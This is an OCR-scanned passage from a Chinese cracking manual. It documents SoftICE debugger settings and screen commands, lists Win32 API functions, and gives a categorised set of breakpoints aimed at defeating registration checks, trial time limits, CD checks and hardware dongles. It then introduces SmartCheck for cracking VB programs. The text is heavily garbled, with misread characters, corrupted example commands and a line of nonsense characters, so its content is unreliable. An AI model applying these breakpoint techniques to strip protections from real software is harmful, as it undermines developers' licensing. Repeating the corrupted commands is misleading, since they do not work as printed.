如 果 游 标 在 命令 窗 中 , 它 会 被 移 到 程序 码 窗 中 。 如 果

游标 在 程序 码 窗 中 , 它 会 被 移 到 命令 窗 中 。

当 游 标 在 程序 码 窗 时 , 会 有 更 多 可 用 的 功能 , 这

使 得 调试 更 为 容易 。 这 些 功能 是 :

大 Point - and - shoot break points

Point - and - shoot break points 是 用 BPX 命令 设

置 的 。 如 果 没 有 加 参数 , 会 在 目前 游标 所 在 位 置 设置

断 点 。 游 标 所 在 那 行 必须 包含 程序 码 。( 如 果 你 不 确

定 , 把 程序 码 窗 以 混合 的 模式 开 著 ) 内 定 BPX 的 功能

键 是 F9。

火 Go to cursor line

你 可 以 在 游标 所 在 位 置 设 个 暂时 斯 点 ,用 HERE

命令 执行 到 那里 。 游 标 所 在 那 行 必须 包含 程序 码 。( 如

果 你 不 确定 , 把 程序 码 窗 以 混合 的 模式 开 著 ) 内 和 是

BPX 的 功能 键 是 F7。

大 Scrolling the code window

只 有 当 游 标 在 程序 码 窗 中 时 才能 卷 动 程序 码

窗 。 卷 动 的 按键 在 程序 码 窗 中 有 不 同 的 定义 。

UP 一 一 把 程序 码 窗 向 上 卷 一 行 。

DOWKN 一 一 把 程序 但 窗 向 下 卷 一 行 。

PageUp 一 一 把 程序 码 窗 向 上 卷 一 页 。

PageDowan 一 一 把 程序 码 窗 向 下 卷 一 页 。

[ 注 ] 程序 码 窗 必 须 是 可 见 的 EC 命令 才能 使

用 。

. 一 一 定位 目前 的 程序 码 .

语法 : 。

解说 :

当 程 序 码 窗 是 可 见 的 时 候 ,“。” 命 令 会 显示 目

的 程序 码 。

十 .调试 器 设 定 命令

命令 :

PAUSE 一 一 显示 满 一 个 屏幕 后 暂停

ALTKEY 一 一 设 定 Soft -ICE 的 启动 热 键

FKEY 一 一 显示 、 修 改 功能 键

BASE 一 一 设 定 / 显 示 目 前 的 基数

CTRL -了 P 一 一 把 LOG 送 到 打印 机

印 出 目前 屏幕

PRN 一 一 设 定 打 印 机 的 输出 端口

PAUSE 一 一 显示 满 一 个 屏幕 后 暂停

语法 : PAUSE [ON | OFF]

解说 :

PAUSE 命令 会 在 每 一 页 的 结束 时 暂停 屏幕 。 如

果 PAUSE 设 为 ON,Soft -ICE 会 提示 你 按 任意 键 以

继续 卷 动 视窗 , 提示 信息 会 显示 在 屏幕 底部 的 状态 行

里 。

如 果 没 有 指定 任何 参数 则 会 显示 目前 PAUSE 的

PAUESE 的 内 定 值 是 ON。

[ 例 ] PAUSE ON

这 个 命令 指定 接 下 来 屏幕 上 的 显示 会 等 你 输入

任意 键 后 才 继续 卷 动 。

ALTKEY 一 一 设 定 Soft -ICE 的 启动 热 键

[

5

Print -- Screen

语法 : ALTKEY [ALTIetter] 1 [CTRLletter] |

[SYSREQ]

letter 任何 一 字母 (A - 2)

解说

ALTKEY 命令 可 以 让 你 改变 用 来 叫 出 Soft - ICE

的 热 键 。 你 可 以 把 热 键 改 成 CTRL + 字母 ALT + 字

母 或 是 SysRq ( 即 Pser) 键 。

有 时 候 你 或 许 会 使 用 会 和 Soft -ICE 的 Cul -D

热 键 相 冲 突 的 程序 , 避免 这 种 冲突 的 方法 的 一 是 使 用

ALTKEY 命令 改变 叫 出 Soft - ICE 的 热 键 。 另 一 个 方

法 则 是 在 热 键 组 合 中 多 按 个 SHIFT 键 ,Soft -ICE 对

这 样 的 组 合 不 会 有 反应 , 所 以 能 把 热 键 传 到 你 的 程序

去 。 举 例 来 说 , 如 果 你 使 用 的 常 驻 程序 是 以 Cul -D

叫 出 来 的 , 试 著 用 Cal - Shitt -D 来 叫 出 你 的 程序 。 有

些 键 盘 上 你 必须 按 Alt - PrtSer 来 模拟 发 出 个 System

Request。 小 心 不 要 意外 的 把 屏幕 上 的 东西 印 了 出 来 。

如 果 没 有 指定 参数 则 会 显示 目前 的 热 键 。

内 定 的 热 键 是 Ctrl - D。

[ 例 ] ALIKEY ALT Z

这 道 命 令 指 定 Ctrl -Z 是 叫 出 Sof -ICE 的 热

键 。

FKEY 一 一 显示、 修改 功能 键

语法 : FKEY [function - key - name string]

fumnction - key -name 了 上 1 ,F2.………: 上 12

string 包含 任何 Soft -ICE 的 命令 和

特殊 字 元 :” 及 ; 。 是 用 来 让 命令 不 显示 出 来 ,; 则

代表 按 下 Enter。

解说 :

FKEY 命令 是 用 来 指定 某 功能 键 所 代表 的 命令

字符 串 , 功 能 键 可 设 定 来 代表 任何 Soft - ICE 中 的 命

String

如 果 没 有 指定 参数 则 会 显示 目前 各 功能 键 代表

的 命令 。

要 取消 某 个 功能 键 可 以 用 这 样 的 方法 : FKEY 加

function - key -name, 然 后 接 上 一 个 空白 字符 串 。

你 也 可 以 在 设 定 档 $ - ICE。DAT 中 预先 指定 功

能 键 的 功能 。 参 阅 6. 4 以 取得 更 多 有 关 在 设 定 档 中 设

定 功能 键 的 资讯 。

在 功能 键 设 定 字符 串 中 加 上 归 位 键 的 符号 可 以

证 一 个 功能 键 代 表 一 系列 的 命令 。 归 位 键 是 用 ; 来 表

砂 。 ,

如 果 你 在 功能 键 的 设 定 前 面 加 上 ^ (Shift - 6),

则 接 下 来 的 命令 将 不 会 显示 出 来 。 命 令 的 作用 还 是 一

样 没 变 , 但 是 显示 在 命令 窗 中 的 所 有 信息 (包括 错误

讯 上 ) 都 不 会 再 出 现 。 这 个 模式 在 命令 会 改变 视窗 中

资料 而 你 又 不 想 因 此 造成 命令 窗 中 的 混乱 时 特别 有

用 。

当 功 能 键 有 加 上 “ 设 定 时 , 你 可 以 在 键 人 其 他

命令 的 途中 使 用 这 个 功能 键 而 不 会 对 输入 中 的 命令

造成 任何 影响 。 鲍 如 ,如 果 你 使 用 的 是 F2 的 内 定 值 ,

你 可 以 在 输入 下 一 个 命令 的 时 候 按 F2 来 切换 暂 存 器

窗 。

[ 注 ]Soft -ICE 有 个 S-ICE。DAT 的 设 定 档 , 你

可 以 把 功能 键 的 设 定 写 在 这 个 档案 中 , 这 样 在 载 人

Soft -ICE 的 时 候 会 自动 设 定 功能 键 。 在 设 定 档 中 设

和 定 功 能 键 的 语法 是 : funetion-key-name =

“string"。 在 设 定 档 中 设 定 功能 键 的 时 候 要 用 双 引 号

把 字符 串 括 起 来 。

【 例 ] FKEY F2 ” 双 R; (command line)

这 道 命 令 用 来 设 定 F2 代表 切换 暂 存 器 窗 的 命

令 ,,” 代表 这 个 命令 不 会 显示 出 来 ,; 代表 按 下

Enter。 如 此 F2 键 就 可 以 用 来 切换 暂 存 器 窗 的 on 或

of, 而 且 即 使 是 在 输入 其 他 命令 的 时 候 也 可 以 随时 使

用 。

【 例 ] FKEY F1“G CS:120; R; G CS:”(command

jine)

这 个 例子 显示 你 可 以 用 一 个 功能 键 代表 许多 命

令 , 也 可 以 代表 一 个 命令 的 一 部 分 , 等 待 使 用 者 的 输

和 人 来 完成 它 。 输 入 这 道 命令 后 ,, 按 下 F1 键 会 执行 到

CS:120 处 ,显示 目前 的 暂 存 器 的 值 , 然 后 显示 G 命令

等 待 使 用 者 的 输入 。

【 例 ] FKEY F1 WD 3; D DS:100; (command line)

这 个 例子 会 设 定 Fl 键 代表 一 串 命 令 。 这 个 按键

是 可 见 的 ,而 且 以 Enter 结束 。 它 会 把 资料 窗 设 为 三 行

的 大 小 并 显示 从 DS :100 处 起 的 的 资料 。

【 例 ] F1 =“WR; WD 2; 双 C 10; ”(S 一 CE-DAT)

如 果 这 一 行 是 放 在 S$-ICE.DAT 中 , 当 载 人

Soft* ICE 时 会 目 动 设 定 Fl 键 。 当 在 Soft - ICE 中 按

下 Fl 键 时 , 它 会 切换 暂 存 器 窗 ,打开 一 个 2 行 的 资料

窗 ,及 一 个 10 行 的 程序 码 窗 。

BASE 一 一 设 定 / 显 示 有 目前 的 基数

语法 : BASE [10 | 16]

解说 :

BASE 命令 是 用 来 设 定 基 数 是 以 10 或 .16 为

底 。 以 10 为 底 在 小 视窗 模式 中 会 受到 限制 ,这 是 受到

视窗 宽度 的 影响 。 即 使 是 在 大 视窗 模式 中 , 有 些 命令

显示 的 资料 数目 也 会 受 限制 。

当 基 数 为 10 的 时 候 , 所 有 输入 和 显示 的 数字 和

地 址 都 是 以 十 进位 表示 。 如 果 基 数 是 16 的 话 , 则 是 除

了 原始 码 行 号 , WIN 命令 中 的 屏幕 座 标 、 大 小 以 10 进

位 表示 外 , 均 为 16 进位 。 四

基数 的 内 定 值 是 16。

[ 例 ] BASE 16

这 道 命令 会 把 基数 设 为 16。

Ctrl -P 一 一 把 LOG 送 到 打印 机

语法 : Ctrl - 了

解说 :

在 你 按 下 Ctrl - P 后 , 所 有 显示 在 命令 窗 中 的

的 信息 也 会 被 送 到 打印 机 去 。 要 停止 把 LOG 送 到 打

印 机 的 动作 只 要 再 按 一 次 Cl - P 即 可 。

当 你 用 Ctrl - P 送 许多 资料 到 打印 机 时 , 会 许

你 会 想 把 PAUSE 设 为 OFEF, 这 样 资料 才 可 以 一 直 卷

动 下 去 而 不 需要 去 按键 。

Print - Screen

印 出 目前 屏幕

语法 : Print - Screen

解说 :

按 下 Print - Screen 键 后 会 把 整个 屏幕 上 的 东西

全 部 输送 到 打印 机 中 去 。

如 果 你 只 是 想 印 出 内 存 内 容 或 是 某 个 命令 的 的 -

辅助 资料 , 使 用 Ctrl - P 会 比 用 Print - Screen 快 得

多 ,这 是 因为 Print - Screen 会 把 屏幕 上 包括 边界 的 每

个 字 元 都 送 到 打印 机 去 。

PRN 一 一 设 定 打印 机 的 输出 端口

语法 : PRN [LPTx | COMx]

介 于 1 到 4 的 数字

X

解说 :

PRN 命令 人 允许 你 把 Ctrl - PP 和 Print - Screen 的

资料 送 到 不 同 的 打印 机 去 。

如 果 没 有 指定 参数 则 会 显示 目前 指定 的 打印

机 。

[ 例 ] PRN COM 1

这 道 命令 会 把 Ctrl -~ P 和 Print - Screen 的 输出

送 到 COM 1 端口 去 。

十 一 、 屏 幕 控 制 命令

命令 :

FLASH 一 一 执行 P 或 了 命令 时 还 原 屏 幕

FLICK 减轻 屏幕 的 闪烁

WATCHTV 一 一 设 定 监控 显示 模式

RS 显示 程序 屏幕

CLS 一 一 清除 视窗

ALTSCR 一 一 转换 到 蔡 换 屏 攻

WIN 一 一 改变 Soft -ICE 的 视窗 大 小

FLASH 一 - 执行 P 或 T 命 令 时 还 原 屏 幕

语法 : FLASH [ON | OFF]

解说 ,

FLASH 命令 让 你 指定 在 T 或 命令 执行 时 是 否

要 还 原 屏 幕 。 如 果 你 指定 要 还 原 屏 幕 , 则 在 T 或 P 命

令 执 行 的 时 候 会 短暂 的 还 原 一 下 。 在 对 会 存 取 VIDEO

MEMORY 的 程序 片段 时 你 会 需要 用 到 这 个 功能 。

如 果 P 命令 用 来 执行 一 个 CALL 或 中 断 , 则 一 定

会 有 屏幕 还 原 的 动作 , 因为 执行 的 函 式 中 可 能 会 对 屏

幕 写 人。

如 果 没 有 指定 参数 则 会 显示 目前 FLASH 的 状

4 DO

FLASH 的 内 定 值 是 OFF。

[ 例 ] FLASH ON

这 道 命 令 会 把 FLASH 的 状态 设 为 ON。 执 行 任何

P 或 了 命令 时 会 还 原 屏幕 。

FLICK 扰 轻 屏幕 的 闪烁

语法 : FLICK [ON | OFF]

解说 :

有 些 显示 卡 在 输出 字 元 之 前 要 先 等 垂直 、 水 平 扫

描 完成 才 行 。 如 果 任 意 的 输出 , 在 显示 字 元 时 将 会 发

生 闪 烁 的 现象 。 如 果 你 使 用 Soft - ICE 时 屏幕 会 有 内

烁 的 现象 ,你 应 该 把 FLICK 设 为 ON 有些 ECGA 卡 上

你 离开 Soft - ICE 时 颜色 可 能 没有 还 原 的 很 正确 , 这

是 模拟 的 EGA 显示 的 问题 。3DA 端口 是 个 有 两 个 功

能 的 显示 端口 。 第 一 种 是 一 些 老 旧 的 CGA 软件 靠

3DA 来 做 hsyne 和 vsynce, 这 样 可 以 避免 在 一 些 老 旧

的 CGA 控制 卡 上 造成 内 烁 的 现象 。 第 二 个 功能 则 是

用 来 重新 设 定 EGA 卡 的 调 色 盘 。S$oft - ICE 有 个 演算

法 可 以 不 用 一 直 监 控 这 个 端口 ,一 直 监 控 会 减 慢 一 些

认为 自己 在 CCA 卡 上 执行 的 老 肯 程序 的 速度 。 但 是

在 某 些 状况 下 , 这 套 演 算法 可 能 无 法 使 用 。 如 果 你 是

在 EGA 上 使 用 Soft -ICE 而 且 发 现 颜色 并 没有 正确

的 还 原 的 话 , 把 FLICK 设 为 ON ,这样 Soft -ICE 会 监

控 3DA 端口 从 而 解决 这 个 问题 。

当 FLICK 设 为 ON 时 ,屏幕 更 新 的 速度 会 变 慢 。

如 果 没 有 指定 参数 则 会 显示 目前 FLICK 的 状

Jen

FLICK 的 内 定 值 是 OFEF。

[ 例 ] FLICK ON

这 道 命令 会 把 FLICK 模式 设 为 ON。Soft -ICE 会

等 水 平 、 垂 直 扫 描 完 成 后 再 输出 字 元 。

WATCHYV 一 一 设 定 监 控 显 示 模 式

语法 : WATCHV [ION | OFF]

解说 :

WATCHV 命令 让 你 指定 Soft -ICE 要 如 何 监 控

显示 端口 .通常 Soft - ICE 只 有 在 执行 INT 10 切换 到

非 文字 模式 后 才 监 控 显 示 端 口 。 但 是 有 些 程序 不 用

JINT 10 来 切换 显示 模式 ,这 种 状况 下 , 如 果 双 ATCHV

设 为 OFF, 则 Soft - ICE 在 储存 或 还 原 屏 幕 时 可 能 会

发 生 问 题 。 把 双 ATCHV 设 为 ON 则 会 让 Soft - ICE 随

时 监控 显示 端口 。

如 果 你 发 现 Soft -ICE 并 未 正确 的 处 理 你 的 屏

幕 ,或 不 能 正确 的 还 原 游 标的 位 置 ,把 双 ATCHV 设 为

ON。 把 WATCHTV 设 为 ON 可 能 会 影响 目前 显示 模式

的 效率 。

如 果 没 有 指定 参数 则 会 显示 目前 WATCHYV 的 状

WATCHV 的 内 定 值 是 OFF。

[ 例 ] WATCHV ON

这 道 命令 会 把 WATCHYV 设 为 ON。

语法 : RS

解说 :

RS 命令 让 你 暂时 还 原 程 序 屏幕 ,Soft -ICE 视窗

将 消失 直到 你 按 任 一 键 为 止 。

这 个 功能 在 对 经 常 更 新 屏幕 的 程序 做 调试 时 很

有 用 。 当 Soft -ICE 叫 出 来 时 会 回 到 文字 模式 , 使 用

RS 命令 可 以 暂时 回 到 绘图 模式 屏幕 。

CLS 一 一 清除 视窗

语法 : CLS

解说 :

CLS 命令 会 清除 Soft -ICE 的 视窗 , 并 把 提示 符

号 及 游标 移 到 视窗 的 左上 角 。

【 例 ] CLS

ALTSCR 一 一 转换 到 替换 屏幕

语法 : ALTSCR [ON 1 OFF]

解说 :

ALITSCR 命令 允许 你 把 屏幕 的 输出 从 原 定 屏幕

重新 导向 到 替换 屏幕 去 。 这 个 功能 在 你 对 绘图 模式 程

序 调试 时 非常 有 有 用, 这样 你 就 不 用 在 绘图 模式 和

RS

Soft -ICE 间 切 换 来 切换 去 。

ALTSCR 要 求 系统 连接 两 台 显 示 器 。 替 换 屏幕 必

须 处 于 文字 模式 ,这 是 显示 器 的 内 定 模式 。

WATCHTV 的 内 定 值 是 OFF。

[ 例 ] ALTSCR ON

这 道 命令 会 把 屏幕 的 输出 重新 导向 到 替换 显示

器 上 。

WIN 一 一 改变 Soft -ICE 的 视窗 大 小

语法 : WIN [N | 双 ] [start -row length 「start -

column] ]

N 一 一 当 指 定 N 时 ,视窗 会 被 设 为 较 小 的 模式 ,

46 字 元 宽 。

双 一 一 当 指定 叉 时 ,视窗 会 被 设 为 整个 屏幕 的

宽度 。

start -row 一 一 0 到 17 的 数字 。 指 定 视窗 从 哪 一

列 开始 。

length 一 一 8 到 25 的 数字 。 指 定 视窗 有 几 列 。

start - column 一 一 在 小 视窗 模式 中 指定 视窗 位

置 为 从 左边 算 过 来 第 几 行 。

start -row 和 start - column 指定 小 视窗 模式 中 视

窗 左 上 角 的 位 置 。 在 大 视窗 模式 中 ,start - column 会

被 忽略 。

解说 :

WIN 命令 可 以 让 你 修改 Soft -ICE 视窗 的 宽度

和 高 度 。

如 果 没 有 指定 参数 , 这 个 命令 会 在 小 视窗 模式 和

大 视窗 模式 中 切换 。

如 果 WIN 命令 只 有 加 上 N 或 叉 人 参数 时 , 则 视窗

的 宽度 会 变换 成 指定 的 大 小 ,但 高 度 不 变 。

如 果 视 窗 的 行 数 加 上 start - row 大 于 25, 则 视窗

的 length 到 屏幕 底 端 为 止 。WIN 的 内 定 值 是 小 视窗 模

式 。

[ 例 ] WINN4930

这 个 命令 会 把 视窗 设 定 为 从 第 4 列 、 第 30 行 处

开始 显示 ,并 且 是 9 列 高 ,46 个 字 元 宽 。

【 例 ] WIN

这 道 命令 会 在 大 视窗 和 小 视窗 模式 间 切 换 。

[ 例 ] WIN 有 观 10 8 。

这 个 命令 会 把 视窗 设 定 为 从 第 10 列 处 开始 显

示 ,并 且 是 8 列 高 .整个 屏幕 的 宽度 。 鲸

使 用 动态 分 析 跟 踪 技 术 破 解 软 件 , 最 常用 到 的 手

段 就 是 设置 程序 中 断 点 找 出 关键 程序 段 , 然后 逐 行

行 命令 语句 ,分 析 代码 直至 找到 所 需要 的 信息 。 因 此 ,

设置 最 合理 的 中 断 点 , 便 成 为 破解 关键 。 在 以 前 介绍

“Fl12? 的 应 用 时 ,曾经 提 到 过 , 因为 程序 的 作者 用 的 是

高 级 语言 ,Windows 又 是 提倡 “透明 ”, 不 希望 程序 员

知道 底层 的 操作 , 而 只 提供 给 他 们 高 层 的 接口 , 而 相

当 多 的 高 级 函数 调用 某 个 一 定 的 底层 函数 , 所 以 我 们

通常 用 SoftICE 在 某 些 底层 的 Windows 函数 上 设 中 断

点 。 这 一 小 节 , 我 们 就 重点 说 说 组 成 Windows 编程 接

口 的 底层 函数 以 及 中 断 点 设置 技巧 。

一 、 基 本 Win API 函数

API(Application Programming Interface) 就 是 Win-

dows 应 用 程序 设计 接口 的 意思 。API 是 一 个 程序 内

(或 一 组 相关 程序 内 ) 的 一 组 函数 调用 , 程序 员 用 它 创

建 其 他 程序 。 不 必 知 道 函 数 内 部 , 只 要 知道 函 数 原型

及 返回 值 。 将 一 组 函数 转 人 API 的 问题 实质 是 此 函数

提供 每 个 人 可 使 用 的 技术 规范 资料 。Windows API 大

概 是 今天 世界 上 最 著名 的 API 了 。 现 在 API 已 发 展 到

了 Win32 API。

API 是 一 些 用 C 语言 编写 、 由 操作 系统 自身 调用

的 函数 。Windows API 函数 由 许多 "动态 链接 库 "或 是

组 成 。 在 32 位 Windows 中 ,核心 的 Windows API . DLL

有 如 下 一 些 :

gdi32. dl 图形 显示 界面 的 API

kermel32. dl 一 一 处 理 低 级 任务 (比如 内 存 和 任务

管理 ) 的 API

user32. d11 一 -一 处 理 窗 口 和 消息 (Visual Basic 程

序 员 能 把 其 中 一 些 当 作 事件 访问 ) 的 API

还 不 断 有 新 的 API 出 现 , 处 理 新 的 操作 系统 扩

展 , 比 如 下 -MAIL、 联 网 和 新 的 外 设 。 由 于 Windows

API 函数 不 是 Visual Basie 的 内 部 函数 ,所 以 在 使 用 它

们 之 前 必须 显 式 地 加 以 声明 。 要 想得到 正确 格式 化 的

函数 声明 , 可 以 访问 WinAPI 目录 下 的 文件

Win32API. txt。

1. 限制 程序 功能 函数

EnableMenuItem 允许、 禁止 或 变 灰 指定 的 菜单 条

目 名

EnableWindow 人 允许 或 禁止 鼠标 和 键盘 控制 指定

窗口 和 条 目 (禁止 时 菜单 变 灰 )

2. 对 话 框 函数

CreateDialog 从 资源 模板 建立 一 非 模 态 对 话 窗

CreateDialogParam 从 资源 模板 建立 一 非 模 态 对

话 窗

CreateDialogImdireet 从 内 存 模板 建立 一 非 模 态 对

话 窗

CreateDialogIndirectParam 从 内 存 模板 建立 一 非

模 态 对 话 窗

DialogBox 从 资源 模板 建立 一 模 态 对 话 窗

DialogBoxParam 从 资源 模板 建立 一 模 态 对 话 窗

DialogBoxIndirect 从 内 存 模板 建立 一 模 态 对 话 窗

DialogBoxIndirectParam 从 内 存 模板 建立 一 模 态

对 话 窗

EndDialog 结束 一 模 态 对 话 窗

MessageBox 显示 一 信息 对 话 框

MessageBoxEx 显示 一 信息 对 话 框

MessageBoxIndirect 显示 一 定制 信息 对 话 框

CetDlgItemJnt 得 指定 输入 框 整数 值

GetDlgItemText 得 指定 输入 框 输入 字符 串

GetDlgItemTextA 得 指定 输入 框 输入 字符 串

Hmemcpy 内 存 复制 〈 非 应 用 程序 直接 调用 )

3. 磁盘 处 理 函 数

GetDiskFreeSpaceA 获取 与 一 个 磁盘 的 组 织 有 关

的 信息 ,以 及 了 解 剩余 空间 的 容量

GetDiskFreeSpaceExA 获取 与 一 个 磁盘 的 组 织 以

及 剩余 空间 容量 有 关 的 信息

GetDriveTypeA 判断 一 个 磁盘 驱动 器 的 类 型

GetLogicalDrives 判断 系统 中 存在 哪些 多 辑 驱动

器 字母

GetFullPathNameA 获取 指定 文件 的 详细 路 径

GetVolumeInformationA 获取 与 一 个 磁盘 着 有 关

的 计 全 生计 的 入 全 放生

六 汪汪 让 天 光

|

的 信息

GetWindowsDirectoryA 获取 Windows 目录 的 完整

CetSystemDirectoryA 取得 Windows 系统 目录 ( 即

System 目录 ) 的 完整 路 径 名

4. 文件 处 理 函 数

CreateFileA 打开 和 创建 文件 、 管道 . 邮 醒 、 通 信服

务 、 设 备 以 及 控制 台

OpenFile 这 个 函数 能 执行 大 量 不 同 的 文件 操作

ReadFile 从 文件 中 读 出 数据

ReadFileEx 与 ReadFile 相似 ,只 是 它 只 能 用 于 蜡

步 读 操作 ,并 包含 了 一 个 完整 的 回调

WriteFile 将 数据 写 人 一 个 文件

WriteFileEx 与 WriteFile 类 似 , 只 是 它 只 能 用 于

异步 写 操作 ,并 包括 了 一 个 完整 的 回调

SetFilePointer 在 一 个 文件 中 设置 当前 的 读 写 位

SetEndOfFile 针对 一 个 打开 的 文件 ,将 当前 文件

位 置 设 为 文件 末尾

CloseHandle 关闭 一 个 内 核对 象 。 其 中 包括 文件 、

文件 上 映射、 进程. 线程 .安全 和 同步 对 象 等

Jereat 创建 一 个 文件

Jopen 以 二 进 制 模式 打开 指定 的 文件

read 将 文件 中 的 数据 读 和 内存 缓冲 区

Jiwrite 将 数据 从 内 存 缓冲 区 写 人 一 个 文件

Jlseek 设置 文件 中 进行 读 写 的 当前 位 置

_lelose 关闭 指定 的 文件

hread 将 文件 中 的 数据 读 和 人 内存 缓 冲 区

_hwrite 将 数据 从 内 存 缓冲 区 写 人 一 个 文件

OpenFileMappingA 打开 一 个 现成 的 文件 映射 对

CreateFileMappingA 创建 一 个 新 的 文件 映射 对 象

MapViewOffile 将 一 个 文件 映射 对 象 映 射 到 当前

应 用 程序 的 地 址 空间

MapViewOfF ileEx( 内 容 同 上 )

CreateDirectoryA 创建 一 个 新 目录

CreateDirectoryExA 创建 一 个 新 有 目录

RemoveDirectoryA 删除 指定 目录

SetCurrentDirectoryA 设置 当前 目录

MoveFileA 移动 文件

DeleteFileA 删除 指定 文件

CopyFileA 复制 文件

CompareFileTime 对 比 两 个 文件 的 时 间

SetFileAttributesA 设置 文件 属性

SetFileTime 设置 文件 的 创建 .访问 及 上 次 修改 时

FindFirstFileA 根据 文件 名 查找 文件

FindNextFileA 根据 调用 FindFirstFile 函数 时 指

定 的 一 个 文件 名 查找 下 一 个 文件

FindClose 关闭 由 ndFirstFile 函数 创建 的 一 个

搜索 句柄

SearchPathA 查找 指定 文件

CetBinaryTypeA 判断 文件 是 否 可 以 执行

CetFileAttributesA 判断 指定 文件 的 属性

GetFileSize 判断 文件 长 度

CetFileTime 取得 指定 文件 的 时 间 信 息

GetFileType 在 给 出 文件 句柄 的 前 提 下 , 判 断 文

件 类 型

5. 注册 表 处 理 本 数

RegOpenKeyA 打开 一 个 现 有 的 注册 表 项

RegOpenKeyExA 打开 一 个 现 有 的 注册 表 项

RegCreateKeyA 在 指定 的 项 下 创建 或 打开 一 个 项

RegCreateKeyExA 在 指定 项 下 创建 新 项 的 更 复杂

的 方式

RegDeleteKeyA 删除 现 有 项 下 方 一 个 指定 的 子 项

RegDeleteValueA 删除 指定 项 下 方 的 一 个 值

RegQueryValueA 获取 一 个 项 的 设置 值

RegQueryValueExA 获取 一 个 项 的 设置 值

RegSetValueA 设置 指定 项 或 子 项 的 值

RegSetValueExA 设置 指定 项 的 值

RegCloseKey 关闭 系统 注册 表 中 的 一 个 项 (或 键 )

6. 时 间 处 理 函 数

CompareFileTime 比较 两 文件 时 间

CetFileTime 得 文件 建立 ,最 后 访问 ,修改 时 间

CetLocalTime 得 当前 本 地 时 间

CetSystemTime 得 当前 系统 时 间

CetTickCount 得 Windows 启动 至 现时 毫秒

SetFileTime 设置 文件 时 间

SetLocalTime 设置 本 地 时 间

SetSystemTime 设置 系统 时 间

7. 进程 函数

CreateProcessA 创建 一 个 新 进程

ExitProcess 以 干净 的 方式 关闭 一 个 进程

FindExecutableA 查找 与 一 个 指定 文件 关联 在 一

起 的 程序 的 文件 名

FreeLibray 释放 指定 的 动态 链 库

GetCurrentProcess 获取 当前 进程 的 一 个 擅 句 柄

CetCurrentProcessId 获取 当前 进程 一 个 惟一 的 标

识 符

GetCurrentThread 获取 当前 线程 的 一 个 伪 句 柄

CetExitCodeProces 获取 一 个 已 结束 进程 的 退出

代码

CetExitCodeThread 获取 一 个 已 结束 线程 的 退出

代码

GetModuleHandleA 获取 一 个 应 用 程序 或 动态 链

接 库 的 模块 句柄

GetFriorityClassA 获取 特定 进程 的 优先 级 别

LoadLibraryA 载 人 指定 的 动态 链接 库 , 并 将 它 映

射 到 当前 进程 使 用 的 地 址 空间

LoadLibraryExA 装载 指定 的 动态 链接 库 , 并 为 当

前 进程 把 它 映射 到 地 址 空间

LoadModule 载 入 一 个 Windows 应 用 程序 ,并 在 指

定 的 环境 中 运行

TerminateProcess 结束 一 个 进程

二 中断 点 设置 技巧

设置 正确 的 SoftICE 的 断 点 ,无 论 是 CRACK 软件

还 是 调试 软件 都 是 非常 重要 的 。 虽 然 一 些 CRACK 教

学 文件 里 有 教 , 但 往往 不 够 全 面 , 用 的 时 候 无 从 找

起 。 现 在 整理 出 这 篇 断 点 集合 ,分门别类 ,方便 大 家 查

阅 。

一 般 处 理 bpx hmemcpy

bpx MessageBox

bpx MessageBoxExA

bpx MessageBeep

bpx SendMessage

bpx CetDlgItemText

bpx CetDlgJltempnt

bpx CetWindowText

bpx CetWindowWord

bpx CetWindowInt

bpx DialogBoxParamA

bpx CreateWindow

bpx CreateWindowEx

bpx ShowWindow

bpx UpdateWindow

bmsg xxxx wm_move

bmsg xxxx wm_gettext

bmsg zcoxx wm_command

bmsg xccx wm_activate

时 间 相 关 bpint 21 这 ah= =2A (DOS)

bpx GetLocalTime

bpx CetFileTime

bpx GetSystemtime

CD -ROM 或 磁盘 相关 bpint 13 这 ah= =2

(DOS)

bpint 13 这 ah = =3 (DOS)

bpint 13. 这 ah = =4 (DOS)

bpx GetFileAttributesA

bpx CetFileSize

bpx CetDriveType

bpx CetLastError

bpx ReadFile

bpio -h (Your CD -ROM Port Address) 及

软件 狗 相 关 bpio -h 278 R

bpio -h 378 有

键盘 输入 相关 bpint 16 计 ah= =

bpint 21 计 ah = =0xA (DOS)

文件 访问 相关 bpint 21 这 ah = =3dh (DOS)

bpint 31 过 ah= =3fh (DOS)

bpint 21 过 ah = =3dh (DOS)

bpx ReadFile

bpx WriteFile

bpx CreateFile

(DOS)

bpx SetFilePointer

bpx CetSystemDirectory

INI 初始 化 文件 相关 bpx GetPrivateProfileString

bpx GetPrivateProfileInt

bpx 双 ritePrivateProfileString

bpx WritePrivateProfileImnt

注册 表 相 关 bpx RegCreateKey

bpx RegDeleteKey

bpx RegQueryValue

bpx RegCloseKey

bpx RegOpenKey

注册 标志 相关 bpx cs:eip 证 EAX = =

内 存 标准 相关 bpmb cs:, eip rw 0x30:

0x45AA = =

显示 相关 bpx 0x30:0x45AA do“d 0x30:0x44BB?”

bpx CS :0x66CC do“? 了 AX”

众所周知 ,VB5 和 VB6 应 用 程序 的 破解 是 目前

Windows 下 破解 的 难点 之 一 。 曾 经 在 Windows 下 跟踪

调试 过 VB3 或 VB4 程序 的 朋友 一 般 都 知道 , 程序 代

码 99% 的 时 间 里 都 是 在 VBRUNxx 里 转 来 转 去 ,根本

看 不 出 一 个 所 以 然 来 。 这 是 因为 你 跟踪 的 是 VB 的 解

释 器 , 要 从 解释 器 中 看 出 代码 的 目的 是 什么 是 相当 困

难 的 。 但 解释 语言 有 一 个 致命 的 弱点 , 那 就 是 解释 语

言 的 程序 代码 都 是 以 伪 码 的 方式 存放 的 ,一旦 被 人 找

到 了 伪 码 与 源码 之 间 的 对 应 关系 ,就 很 容易 做 出 一 个

反 编 译 吉 出 来 , 你 的 源 程 序 就 等 于 被 公开 了 一 样 。 而

编译 语言 因为 直接 把 用 户 程序 编译 成 机 器 码 ,再 经 过

优化 程序 的 优化 ,很 难 从 程序 返回 到 你 的 源 程 序 的 状

态 。 但 对 于 熟悉 汇编 语言 的 解密 者 来 说 , 也 很 容易 通

过 跟踪 你 的 代码 来 确定 某 些 代码 的 用 途 。

幸好 SmartCheck 的 出 现 大 大 地 方便 了 我 们 。

SmartCheck 是 NuMega 公司 推出 的 一 款 出 色 的 调试

解释 执行 程序 的 工具 ,目前 最 新 版 是 v6. 03 。 它 非常

容易 使 用 , 你 不 需 了 解 汇 编程 序 。SmartCheck 能 够 把

一 个 VB 程序 运行 时 的 各 种 事件 过 程 展 现在 你 眼

前 。 可 谓 是 破解 VB5 及 VB6 的 神 兵 利 器 。

下 面 我 们 先 介绍 SmartCheck ,然后 举例 熟悉 。 并

举 一 个 用 Softice 的 例子 来 比较 SmartChecek 这 个 破解

